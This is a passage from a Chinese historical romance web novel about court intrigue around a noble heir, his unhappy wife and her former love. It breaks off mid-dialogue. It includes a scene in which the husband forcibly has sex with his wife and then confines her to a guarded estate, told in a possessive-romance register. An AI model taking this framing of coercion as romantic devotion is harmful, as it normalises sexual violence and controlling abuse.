姜于归看着他痛苦压抑的神情,心中那点残留的悸动终于彻底冷却。她知道,他们之间,真的回不去了。 她忽然想起一事,状似随意地问道:“对了,之前将军赠送之物,那枚青玉佩,还有那只‘袖里星’手镯?我......我不小心弄丢了......” 姜于归知道那不是弄丢,而是被容璟拿走了,可是她又该怎么说呢,倒不如就说自己弄丢了吧。 而姜于归哪里知道,那两样东西,早就已经被容璟物归原主了。 而慕容林晏的脸色骤然变得惨白。 他想起三年前的某日,容璟来天牢见他,神色沉痛地说:“林晏,姜姑娘她......怕是有了旁的想头。前几日我见她去当铺,当的正是你送她的玉佩和手镯。我问她为何,她说......留着无用,不如换些银钱实在。” 当时他心痛欲裂,却仍抱着一丝侥幸。 如今想来...... 一股冰冷的怒意夹杂着被愚弄的耻辱,狠狠冲上头顶。他几乎要控制不住自己,想立刻冲去质问容璟,想将一切真相撕开! 可是,然后呢? 祖父苍老的面容,跪地哀求的姿态,还有那句这世上的账,不是只有情爱这一本,像一盆冰水,将他所有的冲动浇灭。 他死死咬着牙,喉间涌上一股腥甜,又被他强行咽下。 “丢了......便丢了吧。” 慕容林晏声音嘶哑,每个字都像从齿缝里挤出来:“旧物而已,不必再留。” 姜于归看着他眼中翻涌的恨意与痛苦,心中最后一点疑惑也得到了答案。果然,容璟在其中做了手脚。 也好。 这样,他也能彻底死心了。 马车修好的声音传来,车夫在亭外恭敬道:“夫人,可以走了。” 姜于归站起身,对慕容琛微微颔首:“今日多谢将军相助。雪大路滑,将军也请保重。” 说罢,她不再看他,转身走向马车。 慕容琛站在原地,看着她的背影消失在车帘后,看着马车缓缓驶离,最终没入茫茫大雪之中。 他忽然觉得,这盛京的冬天,从未如此寒冷过。 姜于归回到汀兰水榭时,天色已近黄昏。 她褪下被雪濡湿的斗篷,递给碧荷,正要吩咐准备热水沐浴,却见容璟从内室走了出来。 他今日回来得格外早,身上还穿着朝服,只是外罩的大氅已脱下,露出一身深紫色绣云纹的官袍。 他面上没什么表情,只那双深邃的眼眸,此刻正静静看着她,眼底翻涌着某种她看不懂的暗流。 容璟开口,声音听不出喜怒:“回来了?” 姜于归点了点头,不欲多言,转身便要走。 “今日玩得可还开心?” 容璟的声音再次响起,带着一丝若有似无的凉意。 姜于归脚步一顿,回身看向他:“世子何意?” 容璟缓步走近,在她面前停下。 他比她高出一个头,此刻垂眸看她,带着一种无形的压迫感。 “我何意?” 容璟低低重复了一遍,忽而轻笑一声,那笑声里却没有丝毫温度。 “姜于归,你是真不知道,还是装不知道?” 他伸手,指尖抬起她的下巴,迫使她直视他的眼睛。 “今日在朱雀大街,与慕容将军雪中偶遇,亭中私语......你可知道,现在满朝文武都在议论什么?” 容璟声音渐冷:“议论我容潜玉娶了个心里装着别人的妻子,议论我的夫人与义兄旧情难忘,议论我容璟......是个连自己妻子都管不住的可怜虫!” 姜于归瞳孔微缩。 她终于明白他今日反常的缘由。 “我没有。” 姜于归直视着他的眼睛,声音清晰而坚定:“我与慕容将军清清白白,今日偶遇纯属意外,谈话内容也无不妥。世子若不信,可去问随行护卫。” “清清白白?” 容璟像是听到了什么天大的笑话,眼底的冷意更甚:“姜于归,你以为我是三岁孩童?当年你为他祖父母送药送钱,为他奔走求告,他入狱后你几次三番探视,大婚那日他看你的眼神......你告诉我,这叫清清白白?!” 姜于归胸口起伏,一股怒意混杂着无力感涌上心头。 她知道,无论她如何解释,他都不会信。或者说,他根本不需要真相,只需要一个发作的借口。 她迎着他的目光,声音冰冷:“世子既然认定妾身不贞,那便休了我吧。一纸休书,从此两清,也省得世子因我蒙羞。” 这句话,像一根针,狠狠刺进了容璟心底最敏感的角落。 他扣着她下巴的手指骤然收紧,力道大得让她痛得蹙起了眉。 “休了你?” 容璟声音低哑,眼底翻涌着一种近乎疯狂的戾气:“姜于归,你想都别想!这辈子,下辈子,你生是我容璟的人,死是我容璟的鬼!想离开我?除非我死!” 他猛地将她打横抱起,不顾她的挣扎,大步走向内室的床榻。 “容璟!你放开我!” 姜于归终于失去冷静,奋力挣扎起来。 可她的力气在他面前,根本不值一提。他将她重重摔在锦被之上,随即俯身压了上来,单手便将她双手牢牢制在头顶。 “放开你?” 容璟低头,气息灼热地喷在她颈侧,声音却冷得像冰:“姜于归,我告诉你,从你踏进荣国公府那天起,你就该知道,这辈子你都别想逃!” 他另一只手粗暴地扯开她的衣襟,吻如疾风骤雨般落下,带着惩罚般的狠戾,在她颈间,锁骨留下斑驳痕迹。 姜于归不再挣扎。 她睁着眼睛,望着帐顶繁复的绣纹,眼神空洞得吓人。身体上的疼痛与屈辱,远不及心底那片冰冷的绝望。 她知道,说什么都没有用了。 这个疯子,根本不会听。 这一夜,容璟像是要将所有怒火与不安都发泄在她身上,动作毫无节制,甚至带着一种自毁般的疯狂。 天色将明时,一切才终于结束。 容璟从她身上离开,坐在床沿,背对着她。晨光透过窗纸,落在他赤裸的背上,映出几道被她无意识抓出的红痕。 他沉默良久,才哑声开口,声音里带着一种近乎疲惫的冰冷。 “明日,我会让人送你去城南的庄子上。没有我的允许,不许踏出庄子半步。” 姜于归依旧望着帐顶,没有回应。 容璟等不到她的回答,缓缓站起身,披上外袍。他走到门口,脚步顿了顿,却没有回头。 他声音低沉,一字一句,像在宣布某种判决:“姜于归,记住我的话。想离开我,除非我死。” 门被轻轻关上。 室内重归寂静。 姜于归缓缓闭上眼,滚烫的液体终于从眼角滑落,没入鬓发,消失不见。 她知道,新的囚笼,已经为她准备好了。 而窗外,盛京的雪,还在无声地下着。 腊月二十,城南三十里外的庄子上,迎来了一位特殊的“客人”。 庄子不大,三进院落,四周是连绵的农田,如今被厚厚的积雪覆盖,白茫茫一片,望不到边际。 这里原是荣国公府名下一处不起眼的产业,平日里只有几个老仆照看,如今却忽然多了十数名护卫,将庄子围得铁桶一般。 姜于归被送到这里时,天色阴沉得厉害。 她只带了一个简单的包袱,里面是几件素净衣裳和那几本药膳谱。碧荷没能跟来,换成了两个沉默寡言,手脚粗壮的婆子。 领头的护卫长姓吴,是个四十来岁的汉子,面皮黝黑,眼神锐利如鹰。 他将姜于归引至正房,声音平板无波:“夫人,世子吩咐,您暂且在此静养。若无要事,莫要随意走动。” 正房还算干净,但陈设简单,透着一股久无人居的冷清。炭盆是新点的,火苗微弱,驱不散那股从墙壁缝隙渗进来的寒意。 姜于归放下包袱,走到窗边。窗外是一株枯死的槐树,枝桠扭曲如鬼爪,伸向灰蒙蒙的天空。 她知道,这是新的囚笼。比汀兰水榭更偏僻,更冷清,也更——安全。 安全地隔绝她与外界的一切联系,也安全地,将她排除在他即将掀起的风暴之外。 夜色降临,庄子早早陷入死寂。只有巡逻护卫的脚步声,在雪地上发出咯吱咯吱的闷响,规律得令人心慌。 姜于归躺在冰冷的床榻上,睁着眼,望着头顶模糊的承尘。 容璟那张冰冷暴戾的脸,慕容琛痛苦压抑的眼神,还有皇帝含笑却深不见底的目光......在她脑中交替闪现。 几乎在姜于归被送出城的同一日,盛京的暗流便开始加速涌动。 先是御史台忽然接到几封匿名的密报,直指容璟一年前在督办睿王谋逆案时,有滥用私刑,构陷官员,私吞逆产之嫌。 证据零零散散,却指向清晰,像是有人刻意将碎瓷片拼凑成图。 皇帝将密报留中不发,却在次日早朝后,单独召见了容璟。 御书房内,地龙烧得极暖,皇帝只穿着一件明黄常服,手里把玩着一枚温润的玉貔貅,目光落在跪在下首的容璟身上,带着一种审视的疲惫。 “潜玉,这些日子,关于你的非议,不少啊。” 容璟伏地,声音平稳:“臣行事或有疏漏,请陛下明察。” “疏漏?” 皇帝轻笑一声,将那几封密报的抄件扔到他面前:“你自己看看。滥用私刑......朕记得,薛重那几个心腹将领,是死在青龙台的刑房里吧?死状凄惨,连个全尸都没留下。还有这些田产铺面的过户文书......时间,可都巧得很呐。” 容璟拾起抄件,一页页翻看,面色始终沉静。 良久,他才抬头,眼中是一片坦然的晦暗:“陛下明鉴,处置逆党,非常之时当用非常手段。至于田产......臣确有私心。当日姜氏受惊病重,臣忧心如焚,见她喜爱京郊几处田庄景致,便私下置换,想等她身子好些,带她去散心。此事未及时禀报,是臣之过。臣愿交出所有涉事田产,听候陛下发落。” 他说得恳切,甚至带着一丝为情所困的黯然。那姜氏二字,咬得格外清晰。 皇帝目光在他脸上停留片刻,忽而叹了口气,语气缓和下来。 “你呀......朕知道你对那姜氏用情至深。可再深的情,也不能乱了法度。这些事,朕可以替你压下一时,却压不了一世。朝中那些眼睛,可都盯着呢。” 他顿了顿,似在斟酌:“这样吧,刑部那边,你先放一放。青龙台的差事......也暂且交给副手。你去礼部,协理明年的春闱。清贵是清贵些,正好也避避风头。” 从手握实权的刑部侍郎,青龙台执令使,调去清汤寡水的礼部协理春闱——这几乎是明晃晃的贬斥。 容璟脸上却无半分波澜,只深深叩首:“臣,领旨谢恩。必当恪尽职守,不负圣恩。” 走出御书房时,冬日惨淡的阳光晃得他微微眯了眼。 他抬手挡了挡,袖口滑落,露出手腕上一道新鲜的抓痕——是昨夜姜于归挣扎时留下的。 他盯着那道伤痕看了片刻,唇角极细微地弯了一下,随即放下手,稳步走向宫门。背影挺直,却莫名透出一股孤峭的落寞。 消息传得飞快。 不过半日,荣国公世子被皇帝申斥,调任闲职的消息,便如长了翅膀般飞遍朝野。 东宫,书房。 太子李昭承听完属官禀报,眉头微蹙。他屏退左右,只留下最心腹的幕僚。 “先生怎么看?” 太子指尖敲着案几:“潜玉此番......是真被姜氏之事所累,还是......” 幕僚沉吟道:“殿下,容世子行事向来缜密,即便为情所困,也不该留下如此明显的把柄。臣以为......或许是陛下借题发挥。” 太子目光沉了沉:“父皇对他,终究是起了忌惮之心。” “是。睿王已除,薛家已灭,朝中暂无制衡东宫之力。陛下需要新的棋子来平衡。” 说到此处,幕僚低声道:“而容世子......如今看来,或是功高震主,或是情深误事,总之,已非从前那把趁手且安全的刀了。” 太子沉默良久,指节无意识地轻叩着紫檀案几,发出沉闷的笃笃声。殿内银炭烧得正旺,他却觉出一丝寒意,自脊椎悄然爬升。 “先生所言极是。” 太子缓缓开口,声音带着一种深思熟虑后的沉重:“父皇此举,怕是不止敲打潜玉一人。” 他起身,踱至窗前。窗外庭中积雪未融,在宫灯映照下泛着清冷的微光。 “当初薛重谋逆,潜玉当机立断,以青龙台之力配合禁军平乱,更献计假死,让慕容琛潜入北境夺权......这一桩桩,都是泼天之功。当日父皇重赏,已是恩宠至极。” 太子顿了顿,转过身,眉宇间凝着一层薄霜:“可赏无可赏之时,便是忌惮滋生之日。尤其......” 他声音低了下去,带着一丝不易察觉的苦涩:“尤其父皇最近对孤,已不似从前那般全然信任。潜玉与孤走得近,在父皇眼中,恐怕早已不是单纯的君臣相得,而是......东宫羽翼过丰,需要修剪了。” 幕僚垂首,心中暗叹太子敏锐,接口道:“殿下明鉴。薛家覆灭已一年有余,此时旧事重提,时机耐人寻味。若当时便找借口处置容世子,难免有鸟尽弓藏之讥,寒了功臣之心。如今风波渐平,陛下借私德有亏,处事酷烈等由头发作,既全了体面,又达到了目的——既压下了功高震主之臣,又......” 他抬眼,谨慎地看了太子一眼:“又顺势敲打了殿下您。让朝野上下都看清,即便是殿下您倚重的心腹,若触及圣心忌讳,陛下亦不会留情。” 太子缓缓坐回椅中,指尖摩挲着温润的玉扳指,眼中神色变幻。 有对容璟处境的复杂慨叹,更有对帝王心术的凛然警觉。 他声音平静,却字字清晰:“父皇这是要告诉孤,也告诉所有人,这朝堂之上,最终的执棋者,只有他一人。棋子再得力,若忘了本分,随时可以替换。” 随后太子沉默许久,语气转为冷肃。 “传孤的话,东宫所属,近期务必谨言慎行,非召不得与容府之人往来。至于慕容将军那边......年礼照送,但态度需比往日更客气三分。他是父皇如今看重的新刃,不可怠慢,亦不可过分亲近,以免再生猜忌。” 幕僚躬身领命,迟疑一瞬,又道:“殿下思虑周全。那容世子那里......是否需要暗中......” 太子抬手止住他的话,摇了摇头,面上露出一丝复杂的疲惫:“不必。潜玉是聪明人,此刻任何动作,都可能被解读为东宫不甘,反而害了他,也害了孤。他若能熬过此劫,将来未必没有复起之日。若熬不过......” 太子没有说下去,只轻轻叹了口气:“便是他自己的造化了。” 他看着案头跳跃的烛火,忽然想起去岁此时,容璟还与他在这书房中对弈,谈及北境局势,朝中暗涌,那时容璟眉目沉静,落子如风,言谈间皆是成竹在胸的笃定。不过一年光景,竟已物是人非。 功高震主,情深误事......太子心中默念这八个字,只觉帝王之路,果然孤寒彻骨,容不得半分温情与侥幸。 昔日臂助,今日或许便是催命符。 而他这个储君,在父皇的制衡之术下,亦不过是一枚需要时刻警醒,不能行差踏错的棋子罢了。 殿外风声呼啸,卷起檐角残雪,扑打在窗棂上,簌簌作响。 这盛京的冬天,还远未结束。 容璟被调任礼部的消息传到慕容府时,慕容琛正在校场练箭。 弓弦震动,羽箭破空,正中百步外箭靶红心,箭尾兀自颤动不休。他保持着拉弓的姿势,良久未动。 亲卫小心翼翼地上前禀报。 慕容琛缓缓放下弓,手指因用力而微微泛白。他转过头,脸上没什么表情,只眼底深处,掠过一丝极其复杂的暗流。 他声音干涩,道了句:“知道了。” 回到书房,祖父慕容老大人已在等候。老人穿着厚重的棉袍,手里抱着暖炉,神色比往日更加凝重。 老大人开门见山:“林晏,容世子的事,你听说了?” 慕容琛点头,端起早已冷透的茶灌了一口,冰凉的液体划过喉咙,带来一阵刺痛。 老大人目光如炬:“你怎么想?” 慕容琛沉默片刻,才低声道:“陛下......这是要动他了。” 老大人缓缓道:“不止是动他,更是要敲打所有依附东宫,或是权势过盛的新贵。你如今手握部分北境兵权,又刚被平反重用,正是风口浪尖。此时,更要谨言慎行,莫要卷入是非。” 慕容琛应道,可指甲却深深掐进了掌心:“孙儿明白。” 他眼前又浮现出那日雪中凉亭,姜于归平静却死寂的眼神,还有她问起玉佩手镯时,自己那翻江倒海却不得不压下的恨意。 容璟......他凭什么?凭什么如此折辱她?又凭什么,在做了那么多卑劣之事后,还能占据那样一个位置? 一股冲动几乎要冲破理智的堤坝。 他当然知道姜于归被送走了,他想立刻去庄子见她,想问她是否安好,想......带她走。 可是,祖父苍老而沉重的目光,像无形的枷锁,将他牢牢钉在原地。 就在这时,管家匆匆来报:“老爷,将军,门外有人递了帖子,说是......安宁郡主府上的。” 慕容琛与祖父对视一眼,皆从对方眼中看到了惊疑。 安宁郡主?容璟的生母?她此时派人来慕容府,意欲何为? 帖子被呈上,措辞客气,只说郡主近日得了一幅前朝古画,听闻慕容老大人精于鉴赏,特邀过府一观。 老大人冷笑一声,将帖子搁在一边:“黄鼠狼给鸡拜年,不去。” 慕容琛却盯着那帖子,忽然开口:“祖父,孙儿想去。” “林晏!”老大人皱眉。 “孙儿知道轻重。” 慕容琛抬起头,眼中是破釜沉舟的冷静:“容璟如今失势,安宁郡主此时找上我们,绝非赏画那么简单。孙儿想去听听,她究竟想说什么。或许......也能探知一些消息。” 老大人看着孙子眼中那压抑的痛苦与执拗,终究长叹一声,挥了挥手:“罢了......你如今是将军,有自己的主张。只是切记,慕容家再也经不起任何风浪了。” 安宁郡主的邀约,设在三日后一个阴沉的下午。 郡主府奢华依旧,却透着一股刻意维持的冷清。安宁郡主在暖阁接待了慕容琛,屏退了所有下人。 她今日未施浓妆,只穿着一身素雅的月白襦裙,外罩银狐裘,长发松松挽着,斜插一支白玉簪,倒是难得显出了几分符合年龄的温婉。只是那双凤眸,依旧流转着疏离与算计的光。 安宁郡主亲手斟了茶,语气随意得像在话家常:“慕容将军肯赏光,我甚是欣慰,听闻将军在北境屡立战功,少年英杰,令人钦佩。” 慕容琛躬身:“郡主过誉。不知郡主邀臣前来,所赏何画?” 安宁郡主轻笑一声,并未去取画,反而倚在软枕上,目光落在他脸上,带着一种玩味的打量:“画么......不过是个由头。今日请将军来,是想与将军谈一笔交易。” “交易?”慕容琛眸光微凝。 “不错。” 安宁郡主端起茶盏,轻轻吹着浮沫:“将军可知,我那好儿子容璟,如今已是自身难保?” 慕容琛不动声色:“臣略有耳闻。世子乃朝廷栋梁,想必只是一时坎坷。” “一时坎坷?” 安宁郡主像是听到了什么笑话,唇角勾起讥诮的弧度:“将军何必与本宫虚与委蛇。你恨他,本宫......也不喜欢这个儿子。他行事太过,如今惹了陛下猜忌,又被朝中各方势力盯上,倒台是迟早的事。只是......” 她顿了顿,目光锐利如刀:“他倒台之前,定会拉人垫背。慕容将军,你猜,他会先拉谁?” 慕容琛背脊微微一僵。 “你们慕容家,当年是靠他的计策才保全的。如今他又因私情失势,你说陛下,还有那些想扳倒他的人,会不会重新翻出旧案,怀疑你们慕容家与他早有勾结?甚至......他私吞的那些逆产,会不会有一部分,早已悄悄转到了慕容家名下?” 安宁郡主的声音不高,却字字诛心。 慕容琛脸色渐渐发白:“郡主此言何意?我慕容家清清白白......” “清清白白?” 安宁郡主打断他,从袖中抽出一张纸,轻轻推到他面前。 “看看这个。” 慕容琛拿起,只扫了一眼,瞳孔便骤然收缩! 那是一份田庄地契的抄件,位置正在京郊,原属薛家逆产,如今却已过户到一个陌生的商号名下。 而商号的背后,经手人一栏,赫然写着一个他熟悉的名字——是他父亲生前一位早已疏远的故交,如今却被人刻意与慕容家联系起来。 “这是伪造!”慕容琛声音发紧。 安宁郡主笑了:“伪造?将军,这世上真的假的,有时候不重要。重要的是,陛下愿意相信它是真的,还是假的。而如今,显然有人希望它是真的。” 她倾身向前,压低声音:“容璟树敌太多,如今墙倒众人推。这份东西,不过是冰山一角。本宫可以告诉你,想要他死的人,远不止一两个。而他们手里,多的是类似的证据,足以将你们慕容家再次拖入泥潭。” 慕容琛死死捏着那张纸,指节泛白。 他知道,安宁郡主说的可能是真的。 政治倾轧,从来不需要确凿的证据,只需要一个足够有说服力的借口。 林晏抬起头,眼中已是一片冰冷的决绝。“郡主想做什么交易?” 安宁郡主满意地靠回软枕,慢条斯理道:“很简单。本宫可以帮你,也帮慕容家,在这场风暴中保全自身。甚至......可以让那位如今在城南庄子上,我那儿媳,日子好过一些。” 听到庄子上三字,慕容琛的心狠狠一揪。 他声音嘶哑:“条件呢?” “条件就是——” 安宁郡主眸光流转,带着毒蛇般的寒意:“在合适的时候,推一把。当所有人都向他发难时,你慕容琛,也要站出来,指证他当年是如何利用假死之计操控你,如何构陷忠良,如何......欺君罔上。” 慕容琛浑身一震。 他看着眼前这张美艳却冰冷的脸,这张与容璟有几分相似,本该写满母性温情的脸,一股寒意从心底直窜上来,混着难以言喻的荒谬与......一丝连他自己都未察觉的,对容璟的复杂恻隐。 他喉结滚动,声音干涩得几乎破碎:“郡主......容璟他......终究是您的亲生骨肉。您......您如何能......” 话未说完,他已觉失言。 这是大不敬,更是揭人疮疤。 安宁郡主脸上的笑容骤然消失。 她盯着慕容琛,那双凤眸里的寒意几乎要凝成实质的冰刃。殿内炭火明明烧得正旺,空气却仿佛瞬间冻结。 良久,久到慕容琛几乎以为她会拂袖而去,郡主才极轻地,几乎是从齿缝里挤出一声短促的冷笑。 “亲生骨肉?” 她重复这四个字,语气里的嘲弄浓得化不开。 “慕容将军,你也是在朝堂上打过滚的人,怎的还如此天真?这世上,母子亲情,在有些东西面前,薄得就像一层窗户纸。” 她顿了顿,指尖无意识地摩挲着袖口繁复的金线刺绣,那动作轻柔,却无端让人脊背发凉。 郡主抬起眼,目光如淬了毒的针,直刺慕容琛:“我那好儿子,前些日子‘不小心’动了不该动的人,他这是在告诉我,若不按他的剧本走,下一次,就不是受惊病倒这么简单了。” 慕容琛瞳孔骤缩。 他瞬间听懂了弦外之音,就是不知道容璟下手的对象,是城西那同母异父的弟妹,还是安宁郡主真正在意的谁? 郡主的声音恢复了些许平静,却更显森然:“他如今仕途不畅,圣心渐失,心里头憋着火呢。火气总得找个地方发。我这个做母亲的,既然教子无方,替他担些不是,也是应当。” 这话说得轻描淡写,甚至带着一丝诡异的认命,可听在慕容琛耳中,却比任何激烈的控诉都更令人胆寒。 他仿佛看到了这对母子之间那早已扭曲变形,只剩彼此算计与伤害的关系。 安宁郡主看着他瞬息万变的脸色,唇角再次勾起那抹美艳却冰冷的弧度,补充道:“当然,不是现在。现在火候还不够。等时机成熟,我自会通知你。这笔交易,于你,可保全家族,或许......还能得回你想得而得不到的人。于我么......” 她轻轻一笑,那笑容美艳却冰冷,没有半分温情,只有一种近乎自毁般的决绝与嘲讽:“我只是不喜欢,有人脱离掌控罢了。哪怕是自己的儿子。” 慕容琛不知道自己是如何走出郡主府的。 寒风凛冽,刮在脸上如刀割。他骑着马,在空旷的街道上漫无目的地走着,脑中一片混乱。 祖父的哀求,郡主的威胁,姜于归死寂的眼神,还有容璟那张永远平静无波的脸......交织成一幅令人窒息的黑白画卷。 不知不觉,马匹竟朝着城南的方向行去。 等他回过神来,已能望见庄子模糊的轮廓,在暮色中像一座孤零零的坟墓。 他勒住马,停在距离庄子一里外的林边。雪又下了起来,细密的雪粒打在脸上,带来刺骨的寒意。 他看到庄子门口守卫森严,灯火昏暗。正房的方向,隐约透出一豆微光,在漫天风雪中显得如此渺小,如此......孤独。 他几乎能想象,她此刻正坐在那间冰冷的屋子里,对着摇曳的灯烛,或许在看书,或许只是在发呆。 没有碧荷,没有熟悉的景物,只有无边无际的寂静和未知的明天。 一股尖锐的痛楚,狠狠攫住了他的心脏。 他想冲进去,带她离开。 可是,祖父下跪的身影,家族几十口的性命,还有皇帝那双含笑的,洞悉一切的眼睛,像一座座大山,压得他动弹不得。 “嗬......” 一声压抑到极致的呜咽,从他喉间溢出。他猛地一拳砸在旁边枯树的树干上,粗糙的树皮划破手背,鲜血渗出,迅速被冰冷的雪粒覆盖。 他靠在树上,大口喘息,冰冷的空气呛入肺腑,带来撕裂般的疼。 不知过了多久,风雪渐疾。一道黑影悄无声息地出现在他身后不远处。 是长青。 长青撑着伞,静静站在雪中,看着前方那个在风雪中显得格外孤寂痛苦的背影。 他没有上前,只是静静地站着,像一尊沉默的雕塑。 直到慕容琛终于缓过气,翻身上马,调转马头,朝着来路踉跄而去,身影逐渐消失在茫茫风雪中,长青才缓缓转身,走向另一个方向。 那里,一辆毫不起眼的青篷马车停在背风处。车帘低垂,里面没有点灯。 长青走到车边,低声道:“世子,慕容将军......已经走了。” 车内寂静片刻,才传来容璟平静无波的声音,听不出喜怒:“看到了什么?” 长青如实禀报:“将军在庄子外停留了约半个时辰,神情痛苦,曾以拳击树,手背受伤。未曾试图靠近庄子。” 又是一阵沉默。 然后,容璟极轻地笑了一声,那笑声短促,带着一种冰冷的,近乎自嘲的意味。 “果然......还是放不下啊。” 他顿了顿,声音低沉下去,像是自言自语,又像是在对某个不在场的人说:“也好。放不下,才会疼。疼了......才会记得,什么是该做的,什么是不该做的。” “回府吧。”容璟最后道。 马车缓缓启动,碾过积雪,驶向漆黑一片的盛京城。 车厢内,容璟靠在车壁上,闭着眼,指尖无意识地摩挲着袖中一块冰冷坚硬的物件——那是曾经从姜于归手里拿走的银簪。 窗外的风雪声,掩盖了他喉间一声极低极哑的,几乎听不见的叹息。 腊月三十,除夕。 宫中照例设宴,款待宗亲勋贵,文武重臣。 姜于归本来也该跟着容璟出席,但她仍在城南庄子里,对着孤灯冷灶,听着郊外远处隐约传来的爆竹声,度过她成为容世子夫人后的第一个除夕。 盛京之中,容璟则必须出席。 他今日穿着一身深紫常服,玉冠束发,依旧是那个清隽温润的荣国公世子。 只是眉宇间难掩一丝疲惫,眼下也有淡淡的青影,落在某些有心人眼里,便是失势颓唐的证据。 宴席设在太极殿旁的麟德殿,灯火通明,歌舞升平。皇帝高坐御座,神色愉悦,接受着众人的朝贺。 容璟的位置被安排在中段,既不显眼,也不至于被冷落。他安静地坐着,偶尔举杯应酬,目光平静地扫过全场。 他看到了太子,太子今日格外温和,正与几位宗室长辈谈笑,目光与他相遇时,微微颔首,带着一种恰到好处的,属于上位者的怜悯与疏离。 他也看到了慕容琛,慕容琛坐在武将席中,一身戎装未换,背脊挺直,神色冷凝,自始至终没有朝他这边看过一眼。 他还看到了父亲荣国公,父亲坐在勋贵席的首排,一身深紫国公朝服,面容比数月前苍老了许多,眉心紧锁着挥之不去的沉郁。在与容璟目光相接的瞬间,父亲的眼神几不可察地闪躲了一下,随即垂下眼睑,端起酒杯慢慢啜饮,仿佛杯中物比眼前这即将倾覆的亲生子更值得关注。那是一种近乎默认的放弃姿态。 他还看到了安宁郡主,郡主今日盛装出席,与几位王妃公主言笑晏晏,仿佛全然不知自己儿子正身处漩涡。 酒过三巡,气氛渐酣。 忽然,一位素来以耿直著称的老宗亲,端着酒杯站了起来,摇摇晃晃地走向御座下方,对着皇帝躬身道:“陛下!老臣有句话,憋在心里许久,今日不吐不快!” 殿内霎时一静。 皇帝放下酒杯,面上依旧带笑:“皇叔有何话,但讲无妨。” 老宗亲直起身,目光却锐利地扫向容璟的方向,声音洪亮:“老臣要弹劾荣国公世子容璟!结党营私,滥用职权,构陷忠良,其心可诛!” 满殿哗然! 虽然近日关于容璟的流言甚嚣尘上,但如此公开在宫宴上发难,还是第一次。 容璟面色不变,只缓缓放下酒杯,抬眸看向那位老宗亲,目光平静无波。 皇帝皱了皱眉:“皇叔,今日除夕,欢宴之时,何以提及此事?况且弹劾大臣,当依律而行,自有御史台,大理寺处置。” “陛下!” 老宗亲却激动起来:“老臣正是看不过眼!容璟仗着陛下宠信,这些年都做了些什么?睿王一案,牵连无数,其中多少是无辜受戮?他执掌青龙台,手段酷烈,令人发指!更有人揭发,他私吞逆产,中饱私囊!此等佞臣,岂能再居高位,祸乱朝纲?!” 话音落下,殿内死寂。 无数道目光集中在容璟身上,有幸灾乐祸,有惊疑不定,也有深藏的算计。 容璟缓缓站起身,走到殿中,对着御座深深一揖:“陛下,臣冤枉。” 他的声音不高,却清晰传入每个人耳中:“睿王一案,所有处置皆依律而行,有卷宗可查。青龙台所为,皆为肃清逆党,护卫社稷。至于私吞逆产......臣愿交出所有名下田产铺面,请陛下派人彻查。若查实有丝毫逾矩,臣甘愿领死。” 他态度坦然,言辞恳切,反倒让那老宗亲一时噎住。 就在这时,另一个声音响起,是礼部一位素来与容璟不甚和睦的侍郎。 “容世子此言差矣。有无逾矩,岂是交出田产便可掩盖?下官听闻,世子为博红颜一笑,私下置换薛家逆产所涉田庄,此事可有?” 容璟目光转向他,眼中闪过一丝极淡的讥诮:“确有此事。臣已向陛下禀明,并愿接受惩处。” “好一个为红颜一笑!” 侍郎提高了声音,带着煽动性的意味:“诸位可知道,容世子这位红颜是谁?正是当年与慕容将军有旧,如今被陛下亲口定为义妹的容世子夫人!世子为夺他人所爱,不惜强娶,婚后疑心重重,将夫人贬至城外庄子幽禁!如此行径,岂是君子所为?又岂堪为朝廷表率?!” 这话如同投入滚油的冷水,瞬间点燃了殿内压抑的气氛! 无数道目光在容璟和慕容琛之间来回扫视,窃窃私语声四起。 慕容琛的脸色骤然变得铁青,他猛地握紧拳头,几乎要站起身。可身旁一位交好的武将死死按住了他,低声急道:“林晏!不可冲动!” 容璟却笑了。 那笑容极淡,却带着一种冰冷的,近乎残忍的平静。他看向那位侍郎,缓缓道:“李侍郎对本官的家事,倒是了如指掌。” 侍郎被他目光所慑,气势一滞,强辩道:“下官......下官只是就事论事!” “好一个就事论事。” 容璟转回身,对着御座再次躬身:“陛下,臣娶姜氏,乃三媒六聘,陛下亲赐。夫妻之间,偶有龃龉,乃寻常家事。李侍郎以此攻讦臣之品行,臣无话可说。至于慕容将军......” 他顿了顿,目光扫向慕容琛,那眼神深不见底,带着一种审视的,近乎挑衅的意味。 “慕容将军与内子,确有旧谊。陛下金口,定为兄妹,臣亦深以为然。只是不知,李侍郎这般刻意渲染旧事,挑拨臣与将军关系,究竟是何居心?莫非是见陛下对臣与将军略有倚重,便欲行离间之计,破坏朝堂和睦?!” 这话反击得极其犀利,直接将矛头从私德引向了政治阴谋。 李侍郎脸色涨红:“你......你血口喷人!” “够了!” 御座之上,皇帝终于开口,声音不高,却带着不容置疑的威严。 殿内瞬间安静下来。 皇帝目光缓缓扫过众人,最后落在容璟身上,眼中神色复杂难辨。良久,他才缓缓道:“今日除夕,是欢庆之时,不是论政之所。容卿家事,朕略有耳闻。既已娶妻,便当好生相待,莫要因猜忌伤了和气。” 这话看似调和,实则坐实了容璟猜忌,不善待妻子的罪名。 皇帝又看向那老宗亲和李侍郎:“弹劾之事,自有章程。若真有实据,可递折子上来,朕自会命有司核查。今日,便到此为止吧。” 一场风波,看似被压下,实则已在所有人心中留下了深刻的烙印。 容璟谢恩归座,面色依旧平静。只是无人看见,他袖中的手,已悄然握紧,指甲深深陷进掌心。 宴席继续,歌舞依旧,却再也回不到最初的和乐气氛。 散席时,天色已晚。宫灯在风雪中摇曳,映得人影憧憧。 容璟走出麟德殿,长青立刻撑伞上前。主仆二人默默走向宫门。 在即将出宫门的转角处,一道身影拦在了前方。 是慕容琛。 他显然已在此等候多时,肩上落了薄薄一层雪,眼神冰冷如刀,死死盯着容璟。 长青下意识上前半步,挡在容璟身前。 容璟却轻轻推开他,示意他退下。然后,他抬眼,迎上慕容琛的目光,唇角甚至勾起一丝极淡的弧度:“慕容将军,有何指教?” 风雪呼啸,将他的声音吹得有些破碎。 慕容琛胸膛剧烈起伏,眼中翻涌着压抑到极致的怒火与痛楚。他咬着牙,一字一句道:“容潜玉......她究竟做了什么,要被你这般囚禁在庄子上?连除夕......都不让她回来?” 这个她是谁,不言而喻。 容璟静静看着他,忽然低笑一声:“将军是以什么身份,来过问本官的妻子?” 慕容琛像是被狠狠扇了一巴掌,脸色瞬间惨白。 他张了张嘴,喉结滚动,却发不出声音。 是啊......什么身份?义兄?可这义兄的名分,是皇帝亲口所赐,是横亘在他们之间最深最冷的鸿沟。 良久,他才从牙缝里挤出声音,嘶哑得不成样子:“我......我只是作为兄长......关心义妹......” “兄长?” 